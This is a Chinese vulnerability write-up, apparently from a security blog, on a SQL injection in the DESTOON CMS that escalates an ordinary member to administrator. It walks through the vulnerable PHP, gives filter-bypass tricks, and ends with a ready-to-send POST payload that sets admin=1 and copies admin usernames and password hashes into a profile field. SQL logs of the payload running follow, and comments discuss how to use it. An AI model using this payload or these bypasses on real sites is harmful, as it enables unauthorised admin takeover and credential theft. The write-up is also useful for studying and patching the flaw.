DESTOON 最新版注入可提升为管理员权限

漏洞作者: Noxxx

由于注册的时候 公司名称没有做什么过滤 (只是 看是否有数字 如有就不通过 反之通过)

修改资料的时候又从数据库中吧 公司名称 查出来 然后进入查询流程所导致的注入 由于 admin权限的表不是独立的 所以我们可以更新 用户组

1 - 注册 判断公司名称的代码

在 member.class.php is_member() 中 124 - 130 行

[php]

if($groupid > 5) {

if(strlen($member['company']) < 2) return $this->_($L['member_company_null']);

if(preg_match("/[0-9]+/", $member['company'])) return $this->_($L['member_company_bad']); //这里 判断是不是数字 是数字就判断结束 .

if($this->company_exists($member['company'])) return $this->_($L['member_company_reg']);

if(strlen($member['type']) < 2) return $this->_($L['member_type_null']);

if(strlen($member['telephone']) < 6) return $this->_($L['member_telephone_null']);

}

[/php]

 

2 - 修改资料 的代码

member/edit.inc.php

[php]

$user = $do->get_one(); //这里先把查出来 在赋值到$post去 (防止有先变量被修改)

因为公司名称 是可以控制的 我们输入注册的时候 输入 \ 让他转义掉后面的单引号

if($submit) {

if($post['password'] && $user['password'] != md5(md5($post['oldpassword']))) message($L['error_password']);

if($post['payword'] && $user['payword'] != md5(md5($post['oldpayword']))) message($L['error_payword']);

$post['groupid'] = $user['groupid'];

$post['email'] = $user['email'];

$post['passport'] = $user['passport'];

$post['company'] = $user['company']; //在这里

$post['domain'] = $user['domain'];

$post['icp'] = $user['icp'];

$post['skin'] = $user['skin'];

$post['template'] = $user['template'];

$post['edittime'] = $DT_TIME;

$post['bank'] = $user['bank'];

$post['account'] = $user['account'];

$post['validated'] = $user['validated'];

$post['validator'] = $user['validator'];

$post['validtime'] = $user['validtime'];

$post['vemail'] = $user['vemail'];

$post['vmobile'] = $user['vmobile'];

$post['vtruename'] = $user['vtruename'];

$post['vbank'] = $user['vbank'];

$post['vcompany'] = $user['vcompany'];

$post['vtrade'] = $user['vtrade'];

$post['trade'] = $user['trade'];

$post['support'] = $user['support'];

$post['inviter'] = $user['inviter'];

if($post['vmobile']) $post['mobile'] = $user['mobile'];

if($post['vtruename']) $post['truename'] = $user['truename'];

if($do->edit($post)) { //进入修改查询流程 我们进去看看

[/php]

3 - edit() 的代码

[php]

function edit($member) {

if(!$this->is_member($member)) return false;

$member = $this->set_member($member);

$r = $this->get_one();

$member['linkurl'] = userurl($r['username'], '', $member['domain']);

$member_fields = array('company','passport','sound','email','msn','qq','ali','skype','gender','truename','mobile','department','career','groupid','areaid', 'edittime','black','bank','account','vemail','vmobile','vbank','vtruename','vcompany','vtrade','trade','support','inviter'); //会员列

$company_fields = array('company','type','areaid', 'catid','catids','business','mode','regyear','regunit','capital','size','address','postcode','telephone','fax','mail','homepage','sell','buy','introduce','thumb','keyword','linkurl','groupid','domain','icp','validated','validator','validtime','skin','template');//公司列

$member_sql = $company_sql = '';

foreach($member as $k=>$v) {

if(in_array($k, $member_fields)) $member_sql .= ",$k='$v'"; //遍历数据 有符合的就连接起来

if(in_array($k, $company_fields)) $company_sql .= ",$k='$v'"; //遍历数据 有符合的就连接起来

}

if($member['password']) {

$password = md5(md5($member['password']));

$member_sql .= ",password='$password'";

}

if($member['payword']) {

$payword = md5(md5($member['payword']));

$member_sql .= ",payword='$payword'";

}

$member_sql = substr($member_sql, 1);

$company_sql = substr($company_sql, 1);

$this->db->query("UPDATE {$this->table_member} SET $member_sql WHERE userid=$this->userid");//进入查询

$this->db->query("UPDATE {$this->table_company} SET $company_sql WHERE userid=$this->userid");//进入查询

$content_table = content_table(4, $this->userid, is_file(DT_CACHE.'/4.part'), $this->table_company_data);

$this->db->query("UPDATE {$content_table} SET content='$member[content]' WHERE userid=$this->userid");

$member['userid'] = $this->userid;

$member['vip'] = $r['vip'];

userclean($member['username']);

return true;

}

[/php]

4 . 构造exp

由于post是个数组 又用了 foreach 我们可以 随意控制数组的位置

而且可以 先把 post[company]=ok先赋值掉(占个位子) 后面接着我们可控字段就可以了

---

还有个就是 全局过滤的问题

strip_sql()

原先是 /select([[:space:]\*\/\-])/i这样的

只需要 select(xxx)from(xx) 这样就能了

现在是 /select([[:space:]\*\/\-\(])/i

不过 还是能绕过过滤 select+(XXXX)from

这样既可,还有个问题就是 where这个被直接过滤掉了

"/where/i"

更新的时候,就不好办了 容易把所有用户全部更新掉..

研究了一下 ORDER BY username=16541651564 DESC LIMIT 1 这样就可以了 .. 不过你注册的用户名必须为数字的

exp:

[php]

tab=3&post[truename]=1&post[sound]=1&post[type]=1111&post[areaid]=1&post[catid]=,0,&post[business]=11ssssssssssssssss&post[regyear]=2004&post[regunit]=14&post[company]=ok&post[address]=,groupid=1 ORDER BY username=16541651564 DESC LIMIT 1#&post[ali]=,groupid=1,admin=1 ,mobile=(SELECT+PW FROM(SELECT+(MAKE_SET(-1,admin,username,PASSWORD)) AS PW FROM destoon_member ORDER BY admin DESC ) a LIMIT 0,1) ORDER BY username=16541651564 DESC LIMIT 1 #&&post[telephone]=132232132&post[fax]=&post[mail]=&post[homepage]=&post[introduce]=aaaaa&submit=1

[/php]

mobile=这里也可以直接 (SELECT+(MAKE_SET(-1,admin,username,PASSWORD)) LIMIT 0,1)

我这个有点麻烦..sql没学多少。。

sql日志

[php]

UPDATE destoon_member SET truename='1',sound='1',areaid='1',company='xxxxx\',ali=',groupid=1,admin=1 ,mobile=(SELECT+PW FROM(SELECT+(MAKE_SET(-1,admin,username,PASSWORD)) AS PW FROM destoon_member ORDER BY admin DESC ) a LIMIT 0,1) ORDER BY username=16541651564 DESC LIMIT 1 #',groupid='6',email='1231ee23@qq.com',passport='16541651564',edittime='1405752561',bank='',account='',vemail='0',vmobile='0',vtruename='0',vbank='0',vcompany='0',vtrade='0',trade='',support='',inviter='',msn='',qq='' WHERE userid=12

[/php]

[php]

UPDATE destoon_company SET type='1111',areaid='1',catid=',0,',business='11ssssssssssssssss',regyear='2004',regunit='14',company='xxxxx\',address=',groupid=1 ORDER BY username=16541651564 DESC LIMIT 1#',telephone='132232132',fax='',mail='',homepage='',introduce='',groupid='6',domain='',icp='',skin='',template='',validated='0',validator='',validtime='0',postcode='',mode='',keyword='xxxxx\默认地区,11ssssssssssssssss,,,',capital='',catids=',,',linkurl='http://127.0.0.1/php/destoon_new/index.php?homepage=16541651564' WHERE userid=12

[/php]

注册的时候用burp 修改下公司 名称 :xxx\

漏洞证明:

19152848ba4c510c864dbaf737115d01efdd0473

 

19152928ded5507622155d8e35fe8a07f1289ff1

 

191531084d68688155eb50c9257d55c9de7f8cab

 

1915314478ca934a0a0df89c81eea1a42e1dacd6

 

191531593f6787bde53b1b3fd472b747aced6a59

2 条评论

  1. 不会用

    怎么利用啊 木看明白啊

    1. 0day5
      @不会用

      就是利用数字,根据update把自己的sql语句传递进去并执行

发表评论